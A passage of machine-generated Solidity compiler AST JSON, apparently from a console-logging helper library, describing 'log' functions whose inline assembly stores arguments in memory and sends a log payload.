0x20"},{"name":"p0","nativeSrc":"114741:2:22","nodeType":"YulIdentifier","src":"114741:2:22"}],"functionName":{"name":"mstore","nativeSrc":"114728:6:22","nodeType":"YulIdentifier","src":"114728:6:22"},"nativeSrc":"114728:16:22","nodeType":"YulFunctionCall","src":"114728:16:22"},"nativeSrc":"114728:16:22","nodeType":"YulExpressionStatement","src":"114728:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"114764:4:22","nodeType":"YulLiteral","src":"114764:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"114770:2:22","nodeType":"YulIdentifier","src":"114770:2:22"}],"functionName":{"name":"mstore","nativeSrc":"114757:6:22","nodeType":"YulIdentifier","src":"114757:6:22"},"nativeSrc":"114757:16:22","nodeType":"YulFunctionCall","src":"114757:16:22"},"nativeSrc":"114757:16:22","nodeType":"YulExpressionStatement","src":"114757:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"114793:4:22","nodeType":"YulLiteral","src":"114793:4:22","type":"","value":"0x60"},{"kind":"number","nativeSrc":"114799:4:22","nodeType":"YulLiteral","src":"114799:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"114786:6:22","nodeType":"YulIdentifier","src":"114786:6:22"},"nativeSrc":"114786:18:22","nodeType":"YulFunctionCall","src":"114786:18:22"},"nativeSrc":"114786:18:22","nodeType":"YulExpressionStatement","src":"114786:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"114824:4:22","nodeType":"YulLiteral","src":"114824:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"114830:2:22","nodeType":"YulIdentifier","src":"114830:2:22"}],"functionName":{"name":"mstore","nativeSrc":"114817:6:22","nodeType":"YulIdentifier","src":"114817:6:22"},"nativeSrc":"114817:16:22","nodeType":"YulFunctionCall","src":"114817:16:22"},"nativeSrc":"114817:16:22","nodeType":"YulExpressionStatement","src":"114817:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"114858:4:22","nodeType":"YulLiteral","src":"114858:4:22","type":"","value":"0xa0"},{"name":"p2","nativeSrc":"114864:2:22","nodeType":"YulIdentifier","src":"114864:2:22"}],"functionName":{"name":"writeString","nativeSrc":"114846:11:22","nodeType":"YulIdentifier","src":"114846:11:22"},"nativeSrc":"114846:21:22","nodeType":"YulFunctionCall","src":"114846:21:22"},"nativeSrc":"114846:21:22","nodeType":"YulExpressionStatement","src":"114846:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":37456,"isOffset":false,"isSlot":false,"src":"114418:2:22","valueSize":1},{"declaration":37459,"isOffset":false,"isSlot":false,"src":"114448:2:22","valueSize":1},{"declaration":37462,"isOffset":false,"isSlot":false,"src":"114478:2:22","valueSize":1},{"declaration":37465,"isOffset":false,"isSlot":false,"src":"114508:2:22","valueSize":1},{"declaration":37468,"isOffset":false,"isSlot":false,"src":"114538:2:22","valueSize":1},{"declaration":37471,"isOffset":false,"isSlot":false,"src":"114568:2:22","valueSize":1},{"declaration":37474,"isOffset":false,"isSlot":false,"src":"114598:2:22","valueSize":1},{"declaration":37446,"isOffset":false,"isSlot":false,"src":"114741:2:22","valueSize":1},{"declaration":37448,"isOffset":false,"isSlot":false,"src":"114770:2:22","valueSize":1},{"declaration":37450,"isOffset":false,"isSlot":false,"src":"114864:2:22","valueSize":1},{"declaration":37452,"isOffset":false,"isSlot":false,"src":"114830:2:22","valueSize":1}],"id":37476,"nodeType":"InlineAssembly","src":"114040:837:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":37478,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"114902:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":37479,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"114908:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":37477,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"114886:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":37480,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"114886:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":37481,"nodeType":"ExpressionStatement","src":"114886:27:22"},{"AST":{"nativeSrc":"114932:214:22","nodeType":"YulBlock","src":"114932:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"114953:4:22","nodeType":"YulLiteral","src":"114953:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"114959:2:22","nodeType":"YulIdentifier","src":"114959:2:22"}],"functionName":{"name":"mstore","nativeSrc":"114946:6:22","nodeType":"YulIdentifier","src":"114946:6:22"},"nativeSrc":"114946:16:22","nodeType":"YulFunctionCall","src":"114946:16:22"},"nativeSrc":"114946:16:22","nodeType":"YulExpressionStatement","src":"114946:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"114982:4:22","nodeType":"YulLiteral","src":"114982:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"114988:2:22","nodeType":"YulIdentifier","src":"114988:2:22"}],"functionName":{"name":"mstore","nativeSrc":"114975:6:22","nodeType":"YulIdentifier","src":"114975:6:22"},"nativeSrc":"114975:16:22","nodeType":"YulFunctionCall","src":"114975:16:22"},"nativeSrc":"114975:16:22","nodeType":"YulExpressionStatement","src":"114975:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"115011:4:22","nodeType":"YulLiteral","src":"115011:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"115017:2:22","nodeType":"YulIdentifier","src":"115017:2:22"}],"functionName":{"name":"mstore","nativeSrc":"115004:6:22","nodeType":"YulIdentifier","src":"115004:6:22"},"nativeSrc":"115004:16:22","nodeType":"YulFunctionCall","src":"115004:16:22"},"nativeSrc":"115004:16:22","nodeType":"YulExpressionStatement","src":"115004:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"115040:4:22","nodeType":"YulLiteral","src":"115040:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"115046:2:22","nodeType":"YulIdentifier","src":"115046:2:22"}],"functionName":{"name":"mstore","nativeSrc":"115033:6:22","nodeType":"YulIdentifier","src":"115033:6:22"},"nativeSrc":"115033:16:22","nodeType":"YulFunctionCall","src":"115033:16:22"},"nativeSrc":"115033:16:22","nodeType":"YulExpressionStatement","src":"115033:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"115069:4:22","nodeType":"YulLiteral","src":"115069:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"115075:2:22","nodeType":"YulIdentifier","src":"115075:2:22"}],"functionName":{"name":"mstore","nativeSrc":"115062:6:22","nodeType":"YulIdentifier","src":"115062:6:22"},"nativeSrc":"115062:16:22","nodeType":"YulFunctionCall","src":"115062:16:22"},"nativeSrc":"115062:16:22","nodeType":"YulExpressionStatement","src":"115062:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"115098:4:22","nodeType":"YulLiteral","src":"115098:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"115104:2:22","nodeType":"YulIdentifier","src":"115104:2:22"}],"functionName":{"name":"mstore","nativeSrc":"115091:6:22","nodeType":"YulIdentifier","src":"115091:6:22"},"nativeSrc":"115091:16:22","nodeType":"YulFunctionCall","src":"115091:16:22"},"nativeSrc":"115091:16:22","nodeType":"YulExpressionStatement","src":"115091:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"115127:4:22","nodeType":"YulLiteral","src":"115127:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"115133:2:22","nodeType":"YulIdentifier","src":"115133:2:22"}],"functionName":{"name":"mstore","nativeSrc":"115120:6:22","nodeType":"YulIdentifier","src":"115120:6:22"},"nativeSrc":"115120:16:22","nodeType":"YulFunctionCall","src":"115120:16:22"},"nativeSrc":"115120:16:22","nodeType":"YulExpressionStatement","src":"115120:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":37456,"isOffset":false,"isSlot":false,"src":"114959:2:22","valueSize":1},{"declaration":37459,"isOffset":false,"isSlot":false,"src":"114988:2:22","valueSize":1},{"declaration":37462,"isOffset":false,"isSlot":false,"src":"115017:2:22","valueSize":1},{"declaration":37465,"isOffset":false,"isSlot":false,"src":"115046:2:22","valueSize":1},{"declaration":37468,"isOffset":false,"isSlot":false,"src":"115075:2:22","valueSize":1},{"declaration":37471,"isOffset":false,"isSlot":false,"src":"115104:2:22","valueSize":1},{"declaration":37474,"isOffset":false,"isSlot":false,"src":"115133:2:22","valueSize":1}],"id":37482,"nodeType":"InlineAssembly","src":"114923:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"113827:3:22","parameters":{"id":37453,"nodeType":"ParameterList","parameters":[{"constant":false,"id":37446,"mutability":"mutable","name":"p0","nameLocation":"113839:2:22","nodeType":"VariableDeclaration","scope":37484,"src":"113831:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":37445,"name":"address","nodeType":"ElementaryTypeName","src":"113831:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":37448,"mutability":"mutable","name":"p1","nameLocation":"113848:2:22","nodeType":"VariableDeclaration","scope":37484,"src":"113843:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":37447,"name":"bool","nodeType":"ElementaryTypeName","src":"113843:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":37450,"mutability":"mutable","name":"p2","nameLocation":"113860:2:22","nodeType":"VariableDeclaration","scope":37484,"src":"113852:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37449,"name":"bytes32","nodeType":"ElementaryTypeName","src":"113852:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":37452,"mutability":"mutable","name":"p3","nameLocation":"113872:2:22","nodeType":"VariableDeclaration","scope":37484,"src":"113864:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":37451,"name":"uint256","nodeType":"ElementaryTypeName","src":"113864:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"113830:45:22"},"returnParameters":{"id":37454,"nodeType":"ParameterList","parameters":[],"src":"113890:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":37530,"nodeType":"FunctionDefinition","src":"115158:1530:22","nodes":[],"body":{"id":37529,"nodeType":"Block","src":"115230:1458:22","nodes":[],"statements":[{"assignments":[37496],"declarations":[{"constant":false,"id":37496,"mutability":"mutable","name":"m0","nameLocation":"115248:2:22","nodeType":"VariableDeclaration","scope":37529,"src":"115240:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37495,"name":"bytes32","nodeType":"ElementaryTypeName","src":"115240:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37497,"nodeType":"VariableDeclarationStatement","src":"115240:10:22"},{"assignments":[37499],"declarations":[{"constant":false,"id":37499,"mutability":"mutable","name":"m1","nameLocation":"115268:2:22","nodeType":"VariableDeclaration","scope":37529,"src":"115260:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37498,"name":"bytes32","nodeType":"ElementaryTypeName","src":"115260:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37500,"nodeType":"VariableDeclarationStatement","src":"115260:10:22"},{"assignments":[37502],"declarations":[{"constant":false,"id":37502,"mutability":"mutable","name":"m2","nameLocation":"115288:2:22","nodeType":"VariableDeclaration","scope":37529,"src":"115280:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37501,"name":"bytes32","nodeType":"ElementaryTypeName","src":"115280:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37503,"nodeType":"VariableDeclarationStatement","src":"115280:10:22"},{"assignments":[37505],"declarations":[{"constant":false,"id":37505,"mutability":"mutable","name":"m3","nameLocation":"115308:2:22","nodeType":"VariableDeclaration","scope":37529,"src":"115300:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37504,"name":"bytes32","nodeType":"ElementaryTypeName","src":"115300:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37506,"nodeType":"VariableDeclarationStatement","src":"115300:10:22"},{"assignments":[37508],"declarations":[{"constant":false,"id":37508,"mutability":"mutable","name":"m4","nameLocation":"115328:2:22","nodeType":"VariableDeclaration","scope":37529,"src":"115320:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37507,"name":"bytes32","nodeType":"ElementaryTypeName","src":"115320:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37509,"nodeType":"VariableDeclarationStatement","src":"115320:10:22"},{"assignments":[37511],"declarations":[{"constant":false,"id":37511,"mutability":"mutable","name":"m5","nameLocation":"115348:2:22","nodeType":"VariableDeclaration","scope":37529,"src":"115340:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37510,"name":"bytes32","nodeType":"ElementaryTypeName","src":"115340:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37512,"nodeType":"VariableDeclarationStatement","src":"115340:10:22"},{"assignments":[37514],"declarations":[{"constant":false,"id":37514,"mutability":"mutable","name":"m6","nameLocation":"115368:2:22","nodeType":"VariableDeclaration","scope":37529,"src":"115360:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37513,"name":"bytes32","nodeType":"ElementaryTypeName","src":"115360:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37515,"nodeType":"VariableDeclarationStatement","src":"115360:10:22"},{"assignments":[37517],"declarations":[{"constant":false,"id":37517,"mutability":"mutable","name":"m7","nameLocation":"115388:2:22","nodeType":"VariableDeclaration","scope":37529,"src":"115380:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37516,"name":"bytes32","nodeType":"ElementaryTypeName","src":"115380:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37518,"nodeType":"VariableDeclarationStatement","src":"115380:10:22"},{"assignments":[37520],"declarations":[{"constant":false,"id":37520,"mutability":"mutable","name":"m8","nameLocation":"115408:2:22","nodeType":"VariableDeclaration","scope":37529,"src":"115400:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37519,"name":"bytes32","nodeType":"ElementaryTypeName","src":"115400:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37521,"nodeType":"VariableDeclarationStatement","src":"115400:10:22"},{"AST":{"nativeSrc":"115429:924:22","nodeType":"YulBlock","src":"115429:924:22","statements":[{"body":{"nativeSrc":"115472:313:22","nodeType":"YulBlock","src":"115472:313:22","statements":[{"nativeSrc":"115490:15:22","nodeType":"YulVariableDeclaration","src":"115490:15:22","value":{"kind":"number","nativeSrc":"115504:1:22","nodeType":"YulLiteral","src":"115504:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"115494:6:22","nodeType":"YulTypedName","src":"115494:6:22","type":""}]},{"body":{"nativeSrc":"115575:40:22","nodeType":"YulBlock","src":"115575:40:22","statements":[{"body":{"nativeSrc":"115604:9:22","nodeType":"YulBlock","src":"115604:9:22","statements":[{"nativeSrc":"115606:5:22","nodeType":"YulBreak","src":"115606:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"115592:6:22","nodeType":"YulIdentifier","src":"115592:6:22"},{"name":"w","nativeSrc":"115600:1:22","nodeType":"YulIdentifier","src":"115600:1:22"}],"functionName":{"name":"byte","nativeSrc":"115587:4:22","nodeType":"YulIdentifier","src":"115587:4:22"},"nativeSrc":"115587:15:22","nodeType":"YulFunctionCall","src":"115587:15:22"}],"functionName":{"name":"iszero","nativeSrc":"115580:6:22","nodeType":"YulIdentifier","src":"115580:6:22"},"nativeSrc":"115580:23:22","nodeType":"YulFunctionCall","src":"115580:23:22"},"nativeSrc":"115577:36:22","nodeType":"YulIf","src":"115577:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"115532:6:22","nodeType":"YulIdentifier","src":"115532:6:22"},{"kind":"number","nativeSrc":"115540:4:22","nodeType":"YulLiteral","src":"115540:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"115529:2:22","nodeType":"YulIdentifier","src":"115529:2:22"},"nativeSrc":"115529:16:22","nodeType":"YulFunctionCall","src":"115529:16:22"},"nativeSrc":"115522:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"115546:28:22","nodeType":"YulBlock","src":"115546:28:22","statements":[{"nativeSrc":"115548:24:22","nodeType":"YulAssignment","src":"115548:24:22","value":{"arguments":[{"name":"length","nativeSrc":"115562:6:22","nodeType":"YulIdentifier","src":"115562:6:22"},{"kind":"number","nativeSrc":"115570:1:22","nodeType":"YulLiteral","src":"115570:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"115558:3:22","nodeType":"YulIdentifier","src":"115558:3:22"},"nativeSrc":"115558:14:22","nodeType":"YulFunctionCall","src":"115558:14:22"},"variableNames":[{"name":"length","nativeSrc":"115548:6:22","nodeType":"YulIdentifier","src":"115548:6:22"}]}]},"pre":{"nativeSrc":"115526:2:22","nodeType":"YulBlock","src":"115526:2:22","statements":[]},"src":"115522:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"115639:3:22","nodeType":"YulIdentifier","src":"115639:3:22"},{"name":"length","nativeSrc":"115644:6:22","nodeType":"YulIdentifier","src":"115644:6:22"}],"functionName":{"name":"mstore","nativeSrc":"115632:6:22","nodeType":"YulIdentifier","src":"115632:6:22"},"nativeSrc":"115632:19:22","nodeType":"YulFunctionCall","src":"115632:19:22"},"nativeSrc":"115632:19:22","nodeType":"YulExpressionStatement","src":"115632:19:22"},{"nativeSrc":"115668:37:22","nodeType":"YulVariableDeclaration","src":"115668:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"115685:3:22","nodeType":"YulLiteral","src":"115685:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"115694:1:22","nodeType":"YulLiteral","src":"115694:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"115697:6:22","nodeType":"YulIdentifier","src":"115697:6:22"}],"functionName":{"name":"shl","nativeSrc":"115690:3:22","nodeType":"YulIdentifier","src":"115690:3:22"},"nativeSrc":"115690:14:22","nodeType":"YulFunctionCall","src":"115690:14:22"}],"functionName":{"name":"sub","nativeSrc":"115681:3:22","nodeType":"YulIdentifier","src":"115681:3:22"},"nativeSrc":"115681:24:22","nodeType":"YulFunctionCall","src":"115681:24:22"},"variables":[{"name":"shift","nativeSrc":"115672:5:22","nodeType":"YulTypedName","src":"115672:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"115733:3:22","nodeType":"YulIdentifier","src":"115733:3:22"},{"kind":"number","nativeSrc":"115738:4:22","nodeType":"YulLiteral","src":"115738:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"115729:3:22","nodeType":"YulIdentifier","src":"115729:3:22"},"nativeSrc":"115729:14:22","nodeType":"YulFunctionCall","src":"115729:14:22"},{"arguments":[{"name":"shift","nativeSrc":"115749:5:22","nodeType":"YulIdentifier","src":"115749:5:22"},{"arguments":[{"name":"shift","nativeSrc":"115760:5:22","nodeType":"YulIdentifier","src":"115760:5:22"},{"name":"w","nativeSrc":"115767:1:22","nodeType":"YulIdentifier","src":"115767:1:22"}],"functionName":{"name":"shr","nativeSrc":"115756:3:22","nodeType":"YulIdentifier","src":"115756:3:22"},"nativeSrc":"115756:13:22","nodeType":"YulFunctionCall","src":"115756:13:22"}],"functionName":{"name":"shl","nativeSrc":"115745:3:22","nodeType":"YulIdentifier","src":"115745:3:22"},"nativeSrc":"115745:25:22","nodeType":"YulFunctionCall","src":"115745:25:22"}],"functionName":{"name":"mstore","nativeSrc":"115722:6:22","nodeType":"YulIdentifier","src":"115722:6:22"},"nativeSrc":"115722:49:22","nodeType":"YulFunctionCall","src":"115722:49:22"},"nativeSrc":"115722:49:22","nodeType":"YulExpressionStatement","src":"115722:49:22"}]},"name":"writeString","nativeSrc":"115443:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"115464:3:22","nodeType":"YulTypedName","src":"115464:3:22","type":""},{"name":"w","nativeSrc":"115469:1:22","nodeType":"YulTypedName","src":"115469:1:22","type":""}],"src":"115443:342:22"},{"nativeSrc":"115798:17:22","nodeType":"YulAssignment","src":"115798:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"115810:4:22","nodeType":"YulLiteral","src":"115810:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"115804:5:22","nodeType":"YulIdentifier","src":"115804:5:22"},"nativeSrc":"115804:11:22","nodeType":"YulFunctionCall","src":"115804:11:22"},"variableNames":[{"name":"m0","nativeSrc":"115798:2:22","nodeType":"YulIdentifier","src":"115798:2:22"}]},{"nativeSrc":"115828:17:22","nodeType":"YulAssignment","src":"115828:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"115840:4:22","nodeType":"YulLiteral","src":"115840:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"115834:5:22","nodeType":"YulIdentifier","src":"115834:5:22"},"nativeSrc":"115834:11:22","nodeType":"YulFunctionCall","src":"115834:11:22"},"variableNames":[{"name":"m1","nativeSrc":"115828:2:22","nodeType":"YulIdentifier","src":"115828:2:22"}]},{"nativeSrc":"115858:17:22","nodeType":"YulAssignment","src":"115858:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"115870:4:22","nodeType":"YulLiteral","src":"115870:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"115864:5:22","nodeType":"YulIdentifier","src":"115864:5:22"},"nativeSrc":"115864:11:22","nodeType":"YulFunctionCall","src":"115864:11:22"},"variableNames":[{"name":"m2","nativeSrc":"115858:2:22","nodeType":"YulIdentifier","src":"115858:2:22"}]},{"nativeSrc":"115888:17:22","nodeType":"YulAssignment","src":"115888:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"115900:4:22","nodeType":"YulLiteral","src":"115900:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"115894:5:22","nodeType":"YulIdentifier","src":"115894:5:22"},"nativeSrc":"115894:11:22","nodeType":"YulFunctionCall","src":"115894:11:22"},"variableNames":[{"name":"m3","nativeSrc":"115888:2:22","nodeType":"YulIdentifier","src":"115888:2:22"}]},{"nativeSrc":"115918:17:22","nodeType":"YulAssignment","src":"115918:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"115930:4:22","nodeType":"YulLiteral","src":"115930:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"115924:5:22","nodeType":"YulIdentifier","src":"115924:5:22"},"nativeSrc":"115924:11:22","nodeType":"YulFunctionCall","src":"115924:11:22"},"variableNames":[{"name":"m4","nativeSrc":"115918:2:22","nodeType":"YulIdentifier","src":"115918:2:22"}]},{"nativeSrc":"115948:17:22","nodeType":"YulAssignment","src":"115948:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"115960:4:22","nodeType":"YulLiteral","src":"115960:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"115954:5:22","nodeType":"YulIdentifier","src":"115954:5:22"},"nativeSrc":"115954:11:22","nodeType":"YulFunctionCall","src":"115954:11:22"},"variableNames":[{"name":"m5","nativeSrc":"115948:2:22","nodeType":"YulIdentifier","src":"115948:2:22"}]},{"nativeSrc":"115978:17:22","nodeType":"YulAssignment","src":"115978:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"115990:4:22","nodeType":"YulLiteral","src":"115990:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"115984:5:22","nodeType":"YulIdentifier","src":"115984:5:22"},"nativeSrc":"115984:11:22","nodeType":"YulFunctionCall","src":"115984:11:22"},"variableNames":[{"name":"m6","nativeSrc":"115978:2:22","nodeType":"YulIdentifier","src":"115978:2:22"}]},{"nativeSrc":"116008:17:22","nodeType":"YulAssignment","src":"116008:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"116020:4:22","nodeType":"YulLiteral","src":"116020:4:22","type":"","value":"0xe0"}],"functionName":{"name":"mload","nativeSrc":"116014:5:22","nodeType":"YulIdentifier","src":"116014:5:22"},"nativeSrc":"116014:11:22","nodeType":"YulFunctionCall","src":"116014:11:22"},"variableNames":[{"name":"m7","nativeSrc":"116008:2:22","nodeType":"YulIdentifier","src":"116008:2:22"}]},{"nativeSrc":"116038:18:22","nodeType":"YulAssignment","src":"116038:18:22","value":{"arguments":[{"kind":"number","nativeSrc":"116050:5:22","nodeType":"YulLiteral","src":"116050:5:22","type":"","value":"0x100"}],"functionName":{"name":"mload","nativeSrc":"116044:5:22","nodeType":"YulIdentifier","src":"116044:5:22"},"nativeSrc":"116044:12:22","nodeType":"YulFunctionCall","src":"116044:12:22"},"variableNames":[{"name":"m8","nativeSrc":"116038:2:22","nodeType":"YulIdentifier","src":"116038:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"116138:4:22","nodeType":"YulLiteral","src":"116138:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"116144:10:22","nodeType":"YulLiteral","src":"116144:10:22","type":"","value":"0x475c5c33"}],"functionName":{"name":"mstore","nativeSrc":"116131:6:22","nodeType":"YulIdentifier","src":"116131:6:22"},"nativeSrc":"116131:24:22","nodeType":"YulFunctionCall","src":"116131:24:22"},"nativeSrc":"116131:24:22","nodeType":"YulExpressionStatement","src":"116131:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"116175:4:22","nodeType":"YulLiteral","src":"116175:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"116181:2:22","nodeType":"YulIdentifier","src":"116181:2:22"}],"functionName":{"name":"mstore","nativeSrc":"116168:6:22","nodeType":"YulIdentifier","src":"116168:6:22"},"nativeSrc":"116168:16:22","nodeType":"YulFunctionCall","src":"116168:16:22"},"nativeSrc":"116168:16:22","nodeType":"YulExpressionStatement","src":"116168:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"116204:4:22","nodeType":"YulLiteral","src":"116204:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"116210:2:22","nodeType":"YulIdentifier","src":"116210:2:22"}],"functionName":{"name":"mstore","nativeSrc":"116197:6:22","nodeType":"YulIdentifier","src":"116197:6:22"},"nativeSrc":"116197:16:22","nodeType":"YulFunctionCall","src":"116197:16:22"},"nativeSrc":"116197:16:22","nodeType":"YulExpressionStatement","src":"116197:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"116233:4:22","nodeType":"YulLiteral","src":"116233:4:22","type":"","value":"0x60"},{"kind":"number","nativeSrc":"116239:4:22","nodeType":"YulLiteral","src":"116239:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"116226:6:22","nodeType":"YulIdentifier","src":"116226:6:22"},"nativeSrc":"116226:18:22","nodeType":"YulFunctionCall","src":"116226:18:22"},"nativeSrc":"116226:18:22","nodeType":"YulExpressionStatement","src":"116226:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"116264:4:22","nodeType":"YulLiteral","src":"116264:4:22","type":"","value":"0x80"},{"kind":"number","nativeSrc":"116270:4:22","nodeType":"YulLiteral","src":"116270:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mstore","nativeSrc":"116257:6:22","nodeType":"YulIdentifier","src":"116257:6:22"},"nativeSrc":"116257:18:22","nodeType":"YulFunctionCall","src":"116257:18:22"},"nativeSrc":"116257:18:22","nodeType":"YulExpressionStatement","src":"116257:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"116300:4:22","nodeType":"YulLiteral","src":"116300:4:22","type":"","value":"0xa0"},{"name":"p2","nativeSrc":"116306:2:22","nodeType